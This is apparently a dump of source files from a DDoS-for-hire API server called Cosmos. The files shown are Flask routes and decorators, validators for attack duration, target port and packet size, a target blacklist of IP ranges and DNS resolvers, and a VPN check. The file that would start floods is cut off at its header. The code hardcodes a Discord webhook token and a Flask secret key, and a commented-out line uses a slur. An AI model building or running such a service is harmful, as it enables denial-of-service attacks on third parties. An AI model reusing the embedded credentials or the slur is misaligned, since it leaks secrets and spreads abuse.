"194.97.70.115/32": "BLACKLIST 1", 541 | "195.30.4.226/32": "BLACKLIST 1", 542 | "194.97.71.113/32": "BLACKLIST 1", 543 | "193.149.51.166/32": "BLACKLIST 1", 544 | "195.30.4.180/32": "BLACKLIST 1", 545 | "193.149.51.25/32": "BLACKLIST 1", 546 | "193.149.51.114/32": "BLACKLIST 1", 547 | "193.149.51.220/32": "BLACKLIST 1", 548 | "194.97.70.143/32": "BLACKLIST 1", 549 | "193.149.51.32/32": "BLACKLIST 1", 550 | "194.97.70.197/32": "BLACKLIST 1", 551 | "194.97.70.23/32": "BLACKLIST 1", 552 | "195.30.4.114/32": "BLACKLIST 1", 553 | "194.97.71.207/32": "BLACKLIST 1", 554 | "193.149.51.184/32": "BLACKLIST 1", 555 | "194.97.70.135/32": "BLACKLIST 1", 556 | "194.97.70.175/32": "BLACKLIST 1", 557 | "195.30.4.113/32": "BLACKLIST 1", 558 | "194.97.70.158/32": "BLACKLIST 1", 559 | "194.97.71.172/32": "BLACKLIST 1", 560 | "193.149.51.206/32": "BLACKLIST 1", 561 | "194.97.71.210/32": "BLACKLIST 1", 562 | "194.97.70.186/32": "BLACKLIST 1", 563 | "194.97.70.166/32": "BLACKLIST 1", 564 | "195.30.4.199/32": "BLACKLIST 1", 565 | "194.97.70.100/32": "BLACKLIST 1", 566 | "194.97.70.254/32": "BLACKLIST 1", 567 | "195.30.4.145/32": "BLACKLIST 1", 568 | "194.97.70.93/32": "BLACKLIST 1", 569 | "195.30.4.39/32": "BLACKLIST 1", 570 | "195.30.4.254/32": "BLACKLIST 1", 571 | "193.149.51.254/32": "BLACKLIST 1", 572 | "195.30.4.78/32": "BLACKLIST 1", 573 | "194.97.70.154/32": "BLACKLIST 1", 574 | "195.30.4.22/32": "BLACKLIST 1", 575 | "195.30.4.126/32": "BLACKLIST 1", 576 | "194.97.71.19/32": "BLACKLIST 1", 577 | "195.30.4.134/32": "BLACKLIST 1", 578 | "193.149.51.118/32": "BLACKLIST 1", 579 | "194.97.71.161/32": "BLACKLIST 1", 580 | "193.149.51.133/32": "BLACKLIST 1", 581 | "195.30.4.103/32": "BLACKLIST 1", 582 | "194.97.70.35/32": "BLACKLIST 1", 583 | "194.97.70.36/32": "BLACKLIST 1", 584 | "195.30.4.80/32": "BLACKLIST 1", 585 | "195.30.4.75/32": "BLACKLIST 1", 586 | "195.30.4.208/32": "BLACKLIST 1", 587 | "193.149.51.207/32": "BLACKLIST 1", 588 | "194.97.70.132/32": "BLACKLIST 1", 589 | "193.149.51.15/32": "BLACKLIST 1", 590 | "193.149.51.21/32": "BLACKLIST 1", 591 | "194.97.71.107/32": "BLACKLIST 1", 592 | "194.97.71.35/32": "BLACKLIST 1", 593 | "194.97.70.136/32": "BLACKLIST 1", 594 | "194.97.70.32/32": "BLACKLIST 1", 595 | "194.97.70.207/32": "BLACKLIST 1", 596 | "195.30.4.125/32": "BLACKLIST 1", 597 | "194.97.71.75/32": "BLACKLIST 1", 598 | "194.97.70.76/32": "BLACKLIST 1", 599 | "193.149.51.142/32": "BLACKLIST 1", 600 | "193.149.51.1/32": "BLACKLIST 1", 601 | "193.149.51.120/32": "BLACKLIST 1", 602 | "80.101.26.192/32": "BLACKLIST 1", 603 | "200.150.105.116/32": "BLACKLIST 1", 604 | "200.150.105.114/32": "BLACKLIST 1", 605 | "200.150.105.115/32": "BLACKLIST 1", 606 | "201.22.95.45/32": "BLACKLIST 1", 607 | "201.16.252.0/24": "BLACKLIST 1", 608 | "200.159.123.52/32": "BLACKLIST 1", 609 | "200.159.123.50/32": "BLACKLIST 1", 610 | "200.159.123.51/32": "BLACKLIST 1", 611 | "65.113.7.0/24": "BLACKLIST 1", 612 | "65.123.45.0/24": "BLACKLIST 1", 613 | "66.115.233.0/24": "BLACKLIST 1", 614 | "64.33.251.0/26": "BLACKLIST 1", 615 | "66.115.218.160/29": "BLACKLIST 1", 616 | "66.231.6.0/25": "BLACKLIST 1", 617 | "66.231.14.32/27": "BLACKLIST 1", 618 | "74.7.153.240/29": "BLACKLIST 1", 619 | "134.119.42.215/32": "BLACKLIST 1", 620 | "134.119.4.213/32": "BLACKLIST 1", 621 | "5.133.182.0/24": "BLACKLIST 1", 622 | "23.91.17.0/24": "BLACKLIST 1", 623 | "96.47.225.0/24": "BLACKLIST 1", 624 | "194.97.71.49/32": "BLACKLIST 1", 625 | "194.97.70.63/32": "BLACKLIST 1", 626 | "194.97.71.21/32": "BLACKLIST 1", 627 | "194.97.71.67/32": "BLACKLIST 1", 628 | "194.97.70.130/32": "BLACKLIST 1", 629 | "194.97.71.201/32": "BLACKLIST 1", 630 | "194.97.70.231/32": "BLACKLIST 1", 631 | "195.30.4.222/32": "BLACKLIST 1", 632 | "193.149.51.100/32": "BLACKLIST 1", 633 | "194.97.71.135/32": "BLACKLIST 1", 634 | "193.149.51.217/32": "BLACKLIST 1", 635 | "193.149.51.128/32": "BLACKLIST 1", 636 | "193.149.51.85/32": "BLACKLIST 1", 637 | "193.149.51.145/32": "BLACKLIST 1", 638 | "194.97.70.249/32": "BLACKLIST 1", 639 | "195.30.4.106/32": "BLACKLIST 1", 640 | "195.30.4.83/32": "BLACKLIST 1", 641 | "193.149.51.107/32": "BLACKLIST 1", 642 | "194.97.70.251/32": "BLACKLIST 1", 643 | "195.30.4.196/32": "BLACKLIST 1", 644 | "193.149.51.210/32": "BLACKLIST 1", 645 | "193.149.51.78/32": "BLACKLIST 1", 646 | "194.97.71.13/32": "BLACKLIST 1", 647 | "195.30.4.157/32": "BLACKLIST 1", 648 | "194.97.71.50/32": "BLACKLIST 1", 649 | "195.30.4.27/32": "BLACKLIST 1", 650 | "194.97.71.222/32": "BLACKLIST 1", 651 | "195.30.4.191/32": "BLACKLIST 1", 652 | "194.97.70.164/32": "BLACKLIST 1", 653 | "195.30.4.210/32": "BLACKLIST 1", 654 | "195.30.4.255/32": "BLACKLIST 1", 655 | "193.149.51.20/32": "BLACKLIST 1", 656 | "193.149.51.103/32": "BLACKLIST 1", 657 | "195.30.4.16/32": "BLACKLIST 1", 658 | "194.97.70.21/32": "BLACKLIST 1", 659 | "194.97.70.229/32": "BLACKLIST 1", 660 | "194.97.71.2/32": "BLACKLIST 1", 661 | "193.149.51.165/32": "BLACKLIST 1", 662 | "194.97.71.237/32": "BLACKLIST 1", 663 | "193.149.51.154/32": "BLACKLIST 1", 664 | "195.30.4.87/32": "BLACKLIST 1", 665 | "194.97.71.204/32": "BLACKLIST 1", 666 | "195.30.4.124/32": "BLACKLIST 1", 667 | "193.149.51.81/32": "BLACKLIST 1", 668 | "194.97.71.70/32": "BLACKLIST 1", 669 | "194.97.70.90/32": "BLACKLIST 1", 670 | "195.30.4.250/32": "BLACKLIST 1", 671 | "193.149.51.41/32": "BLACKLIST 1", 672 | "194.97.70.79/32": "BLACKLIST 1", 673 | "194.97.70.104/32": "BLACKLIST 1", 674 | "194.97.70.170/32": "BLACKLIST 1", 675 | "194.97.71.187/32": "BLACKLIST 1", 676 | "194.97.71.164/32": "BLACKLIST 1", 677 | "194.97.70.15/32": "BLACKLIST 1", 678 | "195.30.4.240/32": "BLACKLIST 1", 679 | "194.97.70.114/32": "BLACKLIST 1", 680 | "195.30.4.85/32": "BLACKLIST 1", 681 | "194.97.70.219/32": "BLACKLIST 1", 682 | "193.149.51.98/32": "BLACKLIST 1", 683 | "195.30.4.96/32": "BLACKLIST 1", 684 | "193.149.51.231/32": "BLACKLIST 1", 685 | "194.97.70.245/32": "BLACKLIST 1", 686 | "193.149.51.155/32": "BLACKLIST 1", 687 | "193.149.51.10/32": "BLACKLIST 1", 688 | "194.97.71.168/32": "BLACKLIST 1", 689 | "195.30.4.86/32": "BLACKLIST 1", 690 | "195.30.4.189/32": "BLACKLIST 1", 691 | "195.30.4.249/32": "BLACKLIST 1", 692 | "193.149.51.129/32": "BLACKLIST 1", 693 | "195.30.4.118/32": "BLACKLIST 1", 694 | "195.30.4.15/32": "BLACKLIST 1", 695 | "193.149.51.67/32": "BLACKLIST 1", 696 | "193.149.51.7/32": "BLACKLIST 1", 697 | "194.97.71.59/32": "BLACKLIST 1", 698 | "194.97.71.195/32": "BLACKLIST 1", 699 | "194.97.71.130/32": "BLACKLIST 1", 700 | "195.30.4.18/32": "BLACKLIST 1", 701 | "195.30.4.233/32": "BLACKLIST 1", 702 | "194.97.70.239/32": "BLACKLIST 1", 703 | "193.149.51.144/32": "BLACKLIST 1", 704 | "195.30.4.203/32": "BLACKLIST 1", 705 | "195.30.4.182/32": "BLACKLIST 1", 706 | "195.30.4.109/32": "BLACKLIST 1", 707 | "193.149.51.38/32": "BLACKLIST 1", 708 | "194.97.70.224/32": "BLACKLIST 1", 709 | "193.149.51.135/32": "BLACKLIST 1", 710 | "194.97.70.159/32": "BLACKLIST 1", 711 | "195.30.4.132/32": "BLACKLIST 1", 712 | "193.149.51.219/32": "BLACKLIST 1", 713 | "194.97.70.137/32": "BLACKLIST 1", 714 | "195.30.4.175/32": "BLACKLIST 1", 715 | "193.149.51.146/32": "BLACKLIST 1", 716 | "194.97.70.67/32": "BLACKLIST 1", 717 | "193.149.51.57/32": "BLACKLIST 1", 718 | "194.97.70.205/32": "BLACKLIST 1", 719 | "193.149.51.175/32": "BLACKLIST 1", 720 | "193.149.51.123/32": "BLACKLIST 1", 721 | "194.97.71.25/32": "BLACKLIST 1", 722 | "194.97.71.218/32": "BLACKLIST 1", 723 | "194.97.71.97/32": "BLACKLIST 1", 724 | "194.97.70.246/32": "BLACKLIST 1", 725 | "178.33.217.156/32": "BLACKLIST 1", 726 | "178.33.198.244/32": "BLACKLIST 1", 727 | "176.31.12.63/32": "BLACKLIST 1", 728 | "95.217.0.0/16": "BLACKLIST 1", 729 | "95.216.0.0/16": "BLACKLIST 1", 730 | "94.130.0.0/16": "BLACKLIST 1", 731 | "91.107.128.0/17": "BLACKLIST 1", 732 | "88.99.0.0/16": "BLACKLIST 1", 733 | "88.198.0.0/16": "BLACKLIST 1", 734 | "85.10.192.0/18": "BLACKLIST 1", 735 | "78.46.0.0/15": "BLACKLIST 1", 736 | "5.9.0.0/16": "BLACKLIST 1", 737 | "46.4.0.0/16": "BLACKLIST 1", 738 | "213.239.192.0/18": "BLACKLIST 1", 739 | "213.133.96.0/19": "BLACKLIST 1", 740 | "196.251.99.0/24": "BLACKLIST 1", 741 | "196.251.98.0/24": "BLACKLIST 1", 742 | "196.251.97.0/24": "BLACKLIST 1", 743 | "196.251.96.0/24": "BLACKLIST 1", 744 | "196.251.95.0/24": "BLACKLIST 1", 745 | "196.251.94.0/24": "BLACKLIST 1", 746 | "196.251.119.0/24": "BLACKLIST 1", 747 | "196.251.118.0/24": "BLACKLIST 1", 748 | "196.251.117.0/24": "BLACKLIST 1", 749 | "196.251.116.0/24": "BLACKLIST 1", 750 | "196.251.115.0/24": "BLACKLIST 1", 751 | "196.251.114.0/24": "BLACKLIST 1", 752 | "196.251.113.0/24": "BLACKLIST 1", 753 | "195.201.0.0/16": "BLACKLIST 1", 754 | "193.47.99.0/24": "BLACKLIST 1", 755 | "190.99.82.0/24": "BLACKLIST 1", 756 | "188.40.0.0/16": "BLACKLIST 1", 757 | "188.34.128.0/17": "BLACKLIST 1", 758 | "185.50.120.0/23": "BLACKLIST 1", 759 | "185.12.64.0/22": "BLACKLIST 1", 760 | "178.63.0.0/16": "BLACKLIST 1", 761 | "176.9.0.0/16": "BLACKLIST 1", 762 | "167.233.0.0/16": "BLACKLIST 1", 763 | "159.69.0.0/16": "BLACKLIST 1", 764 | "154.73.72.0/24": "BLACKLIST 1", 765 | "148.251.0.0/16": "BLACKLIST 1", 766 | "144.76.0.0/16": "BLACKLIST 1", 767 | "138.201.0.0/16": "BLACKLIST 1", 768 | "136.243.0.0/16": "BLACKLIST 1", 769 | "129.232.248.0/24": "BLACKLIST 1", 770 | "213.134.32.0/19": "BLACKLIST 1", 771 | "200.160.0.0/20 ": "BLACKLIST 1", 772 | "80.101.26.1/24": "BLACKLIST 1", 773 | "78.33.153.1/24": "BLACKLIST 1", 774 | "5.75.128.0/17": "BLACKLIST 1", 775 | "5.161.0.0/16": "BLACKLIST 1", 776 | "49.12.0.0/16": "BLACKLIST 1", 777 | "49.13.0.0/16": "BLACKLIST 1", 778 | "116.202.0.0/16": "BLACKLIST 1", 779 | "116.203.0.0/16": "BLACKLIST 1", 780 | "128.140.0.0/17": "BLACKLIST 1", 781 | "147.251.0.0/16": "BLACKLIST 1", 782 | "203.170.80.0/21": "BLACKLIST 1", 783 | "140.238.168.0/21": "BLACKLIST 1", 784 | "104.140.64.0/22": "BLACKLIST 1", 785 | "94.136.40.0/24": "BLACKLIST 1", 786 | "94.136.32.0/19 ": "BLACKLIST 1", 787 | "148.81.0.0/16": "BLACKLIST 1", 788 | "133.130.64.0/18": "BLACKLIST 1", 789 | "192.144.7.0/24": "BLACKLIST 1", 790 | "5.2.64.0/20": "BLACKLIST 1", 791 | "103.205.143.0/24": "BLACKLIST 1", 792 | "5.63.144.0/21 ": "BLACKLIST 1", 793 | "5.63.147.0/24": "BLACKLIST 1", 794 | "5.63.147.0/21": "BLACKLIST 1", 795 | "37.187.91.37/24": "BLACKLIST 1", 796 | "37.187.0.0/16": "BLACKLIST 1", 797 | "87.106.190.0/24": "BLACKLIST 1", 798 | "87.106.0.0/16": "BLACKLIST 1", 799 | "192.42.116.0/24": "BLACKLIST 1", 800 | "192.42.116.0/22": "BLACKLIST 1", 801 | "81.24.176.0/20": "BLACKLIST 1", 802 | "31.147.0.0/16": "BLACKLIST 1", 803 | "213.134.32.0/20": "BLACKLIST 1", 804 | "213.134.32.0/21": "BLACKLIST 1", 805 | "213.134.40.0/21": "BLACKLIST 1", 806 | "217.75.224.0/19": "BLACKLIST 1", 807 | "84.39.232.0/21": "BLACKLIST 1", 808 | "89.31.168.0/21": "BLACKLIST 1", 809 | "91.103.0.0/21": "BLACKLIST 1", 810 | "91.213.73.0/24": "BLACKLIST 1", 811 | "91.223.9.0/24": "BLACKLIST 1", 812 | "185.49.60.0/22": "BLACKLIST 1", 813 | "185.57.116.0/22": "BLACKLIST 1", 814 | "185.137.20.0/22": "BLACKLIST 1", 815 | "185.176.0.0/22": "BLACKLIST 1", 816 | "217.74.48.0/20": "BLACKLIST 1", 817 | "94.142.240.0/21": "BLACKLIST 1", 818 | "185.52.224.0/22": "BLACKLIST 1", 819 | "195.72.124.0/22": "BLACKLIST 1", 820 | "195.114.12.0/24": "BLACKLIST 1", 821 | "38.108.70.0/24": "BLACKLIST 1", 822 | "64.15.128.0/19": "BLACKLIST 1", 823 | "67.205.64.0/18": "BLACKLIST 1", 824 | "67.205.124.0/24": "BLACKLIST 1", 825 | "70.38.0.0/17": "BLACKLIST 1", 826 | "72.55.128.0/18": "BLACKLIST 1", 827 | "107.161.64.0/20": "BLACKLIST 1", 828 | "108.163.128.0/18": "BLACKLIST 1", 829 | "108.163.129.0/24": "BLACKLIST 1", 830 | "108.163.146.0/24": "BLACKLIST 1", 831 | "108.163.155.0/24": "BLACKLIST 1", 832 | "174.141.228.0/22": "BLACKLIST 1", 833 | "174.141.232.0/23": "BLACKLIST 1", 834 | "184.107.0.0/16": "BLACKLIST 1", 835 | "184.107.120.0/24": "BLACKLIST 1", 836 | "189.91.32.0/23": "BLACKLIST 1", 837 | "189.91.34.0/24": "BLACKLIST 1", 838 | "192.175.96.0/19": "BLACKLIST 1", 839 | "192.196.223.0/24": "BLACKLIST 1", 840 | "198.50.96.0/19": "BLACKLIST 1", 841 | "198.72.96.0/19": "BLACKLIST 1", 842 | "203.167.7.0/24": "BLACKLIST 1", 843 | "204.19.134.0/24": "BLACKLIST 1", 844 | "205.205.175.0/24": "BLACKLIST 1", 845 | "205.205.179.0/24": "BLACKLIST 1", 846 | "205.205.216.0/24": "BLACKLIST 1", 847 | "205.236.34.0/24": "BLACKLIST 1", 848 | "209.172.32.0/19": "BLACKLIST 1", 849 | "6.0.0.0/8": "BLACKLIST 1", 850 | "7.0.0.0/8": "BLACKLIST 1", 851 | "26.0.0.0/8": "BLACKLIST 1", 852 | "28.0.0.0/8": "BLACKLIST 1", 853 | "55.0.0.0/8": "BLACKLIST 1", 854 | "214.0.0.0/8": "BLACKLIST 1", 855 | "215.0.0.0/8": "BLACKLIST 1", 856 | "18.0.0.0/8": "BLACKLIST 1", 857 | "128.236.0.0/16": "BLACKLIST 1", 858 | "128.217.0.0/16": "BLACKLIST 1", 859 | "128.216.0.0/16": "BLACKLIST 1", 860 | "128.190.0.0/16": "BLACKLIST 1", 861 | "128.183.0.0/16": "BLACKLIST 1", 862 | "128.161.0.0/16": "BLACKLIST 1", 863 | "128.159.0.0/16": "BLACKLIST 1", 864 | "128.158.0.0/16": "BLACKLIST 1", 865 | "128.157.0.0/16": "BLACKLIST 1", 866 | "128.156.0.0/16": "BLACKLIST 1", 867 | "128.102.0.0/16": "BLACKLIST 1", 868 | "128.149.0.0/16": "BLACKLIST 1", 869 | "128.154.0.0/16": "BLACKLIST 1", 870 | "128.155.0.0/16": "BLACKLIST 1", 871 | "128.19.0.0/16": "BLACKLIST 1", 872 | "128.25.0.0/16": "BLACKLIST 1", 873 | "128.80.0.0/16": "BLACKLIST 1", 874 | "129.209.0.0/16": "BLACKLIST 1", 875 | "129.251.0.0/16": "BLACKLIST 1", 876 | "130.22.0.0/16": "BLACKLIST 1", 877 | "130.90.0.0/16": "BLACKLIST 1", 878 | "131.21.0.0/16": "BLACKLIST 1", 879 | "131.31.0.0/16": "BLACKLIST 1", 880 | "131.41.0.0/16": "BLACKLIST 1", 881 | "131.65.0.0/16": "BLACKLIST 1", 882 | "131.66.0.0/16": "BLACKLIST 1", 883 | "131.67.0.0/16": "BLACKLIST 1", 884 | "131.68.0.0/16": "BLACKLIST 1", 885 | "131.69.0.0/16": "BLACKLIST 1", 886 | "131.70.0.0/16": "BLACKLIST 1", 887 | "131.72.0.0/16": "BLACKLIST 1", 888 | "131.73.0.0/16": "BLACKLIST 1", 889 | "131.74.0.0/16": "BLACKLIST 1", 890 | "131.75.0.0/16": "BLACKLIST 1", 891 | "131.76.0.0/16": "BLACKLIST 1", 892 | "131.77.0.0/16": "BLACKLIST 1", 893 | "131.78.0.0/16": "BLACKLIST 1", 894 | "131.79.0.0/16": "BLACKLIST 1", 895 | "131.80.0.0/16": "BLACKLIST 1", 896 | "131.81.0.0/16": "BLACKLIST 1", 897 | "131.82.0.0/16": "BLACKLIST 1", 898 | "131.83.0.0/16": "BLACKLIST 1", 899 | "131.84.0.0/16": "BLACKLIST 1", 900 | "131.85.0.0/16": "BLACKLIST 1", 901 | "131.86.0.0/16": "BLACKLIST 1", 902 | "131.87.0.0/16": "BLACKLIST 1", 903 | "131.88.0.0/16": "BLACKLIST 1", 904 | "131.240.0.0/16": "BLACKLIST 1", 905 | "132.144.0.0/16": "BLACKLIST 1", 906 | "134.135.0.0/16": "BLACKLIST 1", 907 | "134.152.0.0/16": "BLACKLIST 1", 908 | "134.182.0.0/16": "BLACKLIST 1", 909 | "134.205.0.0/16": "BLACKLIST 1", 910 | "134.230.0.0/16": "BLACKLIST 1", 911 | "134.254.0.0/16": "BLACKLIST 1", 912 | "136.188.0.0/16": "BLACKLIST 1", 913 | "136.192.0.0/16": "BLACKLIST 1", 914 | "136.196.0.0/16": "BLACKLIST 1", 915 | "136.208.0.0/16": "BLACKLIST 1", 916 | "136.211.0.0/16": "BLACKLIST 1", 917 | "136.212.0.0/16": "BLACKLIST 1", 918 | "192.67.107.255/24": "BLACKLIST 1", 919 | "195.39.134.0/24": "BLACKLIST 1", 920 | "192.88.0.0/16": "BLACKLIST 1" 921 | 922 | }, 923 | 924 | "hosts": { 925 | "8.8.8.8": "Google DNS", 926 | "8.8.4.4": "Google DNS", 927 | "199.5.157.131": "Google DNS", 928 | "208.71.35.137": "Google DNS", 929 | "209.97.202.107": "Google DNS", 930 | "80.252.121.2": "Google DNS", 931 | "46.244.10.98": "Google DNS", 932 | "46.244.10.116": "Google DNS", 933 | "46.244.10.5": "Google DNS", 934 | "79.172.201.120": "Google DNS", 935 | "46.244.10.70": "Google DNS", 936 | "200.37.61.62": "Google DNS", 937 | "128.65.160.37": "Google DNS", 938 | "208.67.222.222": "OpenDNS", 939 | "208.67.220.220": "OpenDNS", 940 | "208.67.222.220": "OpenDNS", 941 | "208.67.220.222": "OpenDNS", 942 | "76.76.2.0": "Control D", 943 | "76.76.10.0": "Control D", 944 | "9.9.9.9": "Quad 9", 945 | "149.112.112.112": "Quad 9", 946 | "1.0.0.1": "Cloudflare", 947 | "1.1.1.1": "Cloudflare" 948 | 949 | } 950 | } -------------------------------------------------------------------------------- /funcs/__pycache__/string.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vbvp/Cosmos-DDoS-Server-API/c755f11b633ce3be07e44d4ee62606d5a88b847a/funcs/__pycache__/string.cpython-311.pyc -------------------------------------------------------------------------------- /funcs/__pycache__/validator.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vbvp/Cosmos-DDoS-Server-API/c755f11b633ce3be07e44d4ee62606d5a88b847a/funcs/__pycache__/validator.cpython-311.pyc -------------------------------------------------------------------------------- /funcs/string.py: -------------------------------------------------------------------------------- 1 | import bleach # mozilla sanitizing user input lib 2 | 3 | 4 | def str_equals(first_string, second_string): 5 | if len(first_string) != len(second_string): 6 | return False 7 | 8 | for c1, c2 in zip(first_string, second_string): 9 | if c1 != c2: 10 | return False 11 | 12 | return True 13 | 14 | # facking useless bra 15 | def is_str_empty(str): 16 | try: 17 | if len(str) == 0: 18 | return True 19 | 20 | if not str: 21 | return True 22 | 23 | if str == "": 24 | return True 25 | 26 | if str is None: 27 | return True 28 | 29 | except: 30 | pass 31 | 32 | def sanitize(str:str) -> str: 33 | return bleach.clean(str) -------------------------------------------------------------------------------- /funcs/validator.py: -------------------------------------------------------------------------------- 1 | import validation, validators, ipaddress, json 2 | from ipaddress import IPv4Address, IPv4Network 3 | 4 | class Validation: 5 | 6 | @staticmethod 7 | def validate_ip(ip): 8 | parts = ip.split('.') 9 | return len(parts) == 4 and all(x.isdigit() for x in parts) and all(0 <= int(x) <= 255 for x in parts) and not ipaddress.ip_address(ip).is_private 10 | 11 | @staticmethod 12 | def validate_port(port, rand=False): 13 | """ validate port number """ 14 | if rand: 15 | return port.isdigit() and int(port) >= 0 and int(port) <= 65535 16 | else: 17 | return port.isdigit() and int(port) >= 1 and int(port) <= 65535 18 | 19 | @staticmethod 20 | def validate_time(time): 21 | """ validate attack duration """ 22 | return time.isdigit() and int(time) >= 10 and int(time) <= 14400 23 | 24 | @staticmethod 25 | def validate_size(size): 26 | """ validate buffer size """ 27 | return size.isdigit() and int(size) > 1 and int(size) <= 65500 28 | 29 | @staticmethod 30 | def validate_domain(domain): 31 | return validators.domain(domain) 32 | 33 | @staticmethod 34 | def validate_url(url): 35 | return validators.url(url) 36 | 37 | # this method was taken from one of my project 38 | @staticmethod 39 | def ip_range_blacklist(ip) -> tuple[bool ,str]: 40 | 41 | with open("data/blacklist.json") as e: 42 | data = json.load(e) 43 | 44 | list = dict(data["ranges"]) 45 | 46 | for (range, name) in list.items(): 47 | try: 48 | if IPv4Address(ip) in IPv4Network(range): 49 | print(ip, range) 50 | return True, name # its blacklisted 51 | except Exception: 52 | continue 53 | 54 | return False, None 55 | 56 | @staticmethod 57 | def ip_list_blacklist(ip): 58 | with open("data/blacklist.json") as e: 59 | data = json.load(e) 60 | 61 | list = data["hosts"] 62 | 63 | if ip in list: 64 | return True -------------------------------------------------------------------------------- /funcs/vpncheck.py: -------------------------------------------------------------------------------- 1 | import requests 2 | def vpncheck(ip:str) -> bool: 3 | s = requests.get(f"http://ip-api.com/json/{ip}?fields=16908288") 4 | data = s.json() 5 | 6 | if s.status_code == 429: 7 | return False 8 | 9 | if data["proxy"]: 10 | return True 11 | 12 | return False -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | from colorama import Fore, init 4 | from flask import Flask 5 | from threading import Thread 6 | from waitress import serve 7 | #routes 8 | from routes.start_flood import Flood 9 | from routes.status import Status 10 | 11 | 12 | PRODUCTION = True 13 | 14 | app = Flask(__name__, None, "static") 15 | 16 | logging.basicConfig(filename='data/record.log', level=logging.DEBUG, format=f'%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s') 17 | 18 | app.secret_key = "iwyvdfg08372tr8yv3o20a9s87fdgpi23vyrsxnjm" 19 | 20 | app.register_blueprint(Flood) 21 | app.register_blueprint(Status) 22 | 23 | @app.errorhandler(404) 24 | def error_404(e): 25 | return "Error 404.... oh noo" 26 | 27 | @app.errorhandler(Exception) 28 | def basic_error(e): 29 | app.logger.warning(f'Caught exception: {str(e)}') 30 | return "Unknown error logged. Contact staff."+str(e) 31 | 32 | if __name__ == "__main__": 33 | 34 | init() 35 | 36 | print(Fore.MAGENTA, """ 37 | 38 | ____ _ ____ ___ 39 | / ___|___ ___ _ __ ___ ___ ___ / \ | _ \_ _| 40 | | | / _ \/ __| '_ ` _ \ / _ \/ __| / _ \ | |_) | | 41 | | |__| (_) \__ \ | | | | | (_) \__ \ / ___ \| __/| | 42 | \____\___/|___/_| |_| |_|\___/|___/ /_/ \_\_| |___| 43 | 44 | [Made by robert streahorn aka robert] 45 | [t.me/ambuscade] 46 | 47 | """, Fore.RESET) 48 | 49 | if PRODUCTION: 50 | print(Fore.GREEN, "API server started.", Fore.RESET) 51 | serve(app, host="0.0.0.0", port=5000) # change port here if you want 52 | else: 53 | Thread(target=app.run, kwargs={"threaded":True}).start() 54 | 55 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | waitress 3 | paramiko 4 | validators 5 | validation 6 | bleach 7 | discord_webhook 8 | -------------------------------------------------------------------------------- /routes/__pycache__/decorators.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vbvp/Cosmos-DDoS-Server-API/c755f11b633ce3be07e44d4ee62606d5a88b847a/routes/__pycache__/decorators.cpython-311.pyc -------------------------------------------------------------------------------- /routes/__pycache__/start_flood.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vbvp/Cosmos-DDoS-Server-API/c755f11b633ce3be07e44d4ee62606d5a88b847a/routes/__pycache__/start_flood.cpython-311.pyc -------------------------------------------------------------------------------- /routes/decorators.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | from datetime import datetime 4 | from functools import wraps 5 | from flask import g, request, redirect, url_for, jsonify 6 | from discord_webhook import DiscordWebhook, DiscordEmbed 7 | 8 | from funcs.string import str_equals, is_str_empty, sanitize 9 | 10 | class RouteDecorators: 11 | 12 | @staticmethod 13 | def admin_key_required(f): 14 | @wraps(f) 15 | def decorated_function(*args, **kwargs): 16 | if 'key' in request.args: 17 | keystr = sanitize(request.args.get('key', default=None, type=str)) 18 | 19 | else: 20 | return jsonify({ 21 | "response_code": 505, 22 | "response_message": "Missing argument(s)." 23 | }) 24 | 25 | if keystr is None: 26 | return jsonify({ 27 | "response_code": 605, 28 | "response_message": "Missing argument(s). Null values." 29 | }) 30 | 31 | with open("data/admin_keys.json") as e: 32 | data = json.load(e) 33 | 34 | if keystr not in data["admin_keys"]: 35 | return jsonify({ 36 | "response_code": 303, 37 | "response_message": "Invalid key." 38 | }) 39 | 40 | return f(*args, **kwargs) 41 | return decorated_function 42 | 43 | @staticmethod 44 | def log(f): 45 | @wraps(f) 46 | def decorated_function(*args, **kwargs): 47 | current_date = datetime.now().strftime("%B %d, %Y %I:%M%p") 48 | arguments = "" 49 | 50 | for x,y in request.args.items(): 51 | arguments += f"[{x} - {y}]" 52 | 53 | print(f"[{request.remote_addr}] Accessed {request.path} with args {arguments} on {current_date}") 54 | 55 | return f(*args, **kwargs) 56 | return decorated_function 57 | 58 | @staticmethod 59 | def discord_webbhook_log(f): 60 | @wraps(f) 61 | def decorated_function(*args, **kwargs): 62 | webhook = DiscordWebhook(url='https://discord.com/api/webhooks/1076963329278484530/VT7JCbTOQEfRBOJ9jy-L1v9n3zVgFTteLUCrDHdfoLSsY7MV___PbXD5Xab_cSdbTPBi') 63 | 64 | embed = DiscordEmbed(title='Cosmos API', color='100500') 65 | embed.set_timestamp() 66 | 67 | for x,y in request.args.items(): 68 | embed.add_embed_field(name=x, value=y, inline=False) 69 | 70 | webhook.add_embed(embed) 71 | response = webhook.execute() 72 | 73 | return f(*args, **kwargs) 74 | return decorated_function 75 | 76 | @staticmethod 77 | def validate_request(f): # check for the secret useragent and public api key 78 | @wraps(f) 79 | def decorated_function(*args, **kwargs): 80 | #try: 81 | # #data = request.args.items() 82 | # # 83 | # #for (x,y) in data: 84 | # # if y is None or y == "" or x is None or x == "": 85 | # # return jsonify({ 86 | # # "response_code": 303, 87 | # # "response_message": "Request is missing arguments." 88 | # # }) 89 | # 90 | # #secret_key = request.args.get("secret") 91 | ## 92 | # #if not str_equals(secret_key, "faggotassnigger"): 93 | # # return jsonify({ 94 | # # "response_code": 303, 95 | # # "response_message": "Secret key missing." 96 | # # }) 97 | # # 98 | # #if not str_equals(request.user_agent.string, "APSDFISUSDFPESDFGR23DSFG8957623FSDGGFDSG8975623895T982375TOBWD87FG"): 99 | # # return jsonify({ 100 | # # "response_code": 303, 101 | # # "response_message": "User-Agent missmatch." 102 | # # }) 103 | # 104 | #except: 105 | # return jsonify({ 106 | # "response_code": 303, 107 | # "response_message": "Error validating request." 108 | # }) 109 | 110 | return f(*args, **kwargs) 111 | return decorated_function 112 | 113 | @staticmethod 114 | def blacklist_check(): 115 | pass # check for blacklisted useragent / ip / hwid 116 | -------------------------------------------------------------------------------- /routes/start_flood.py: 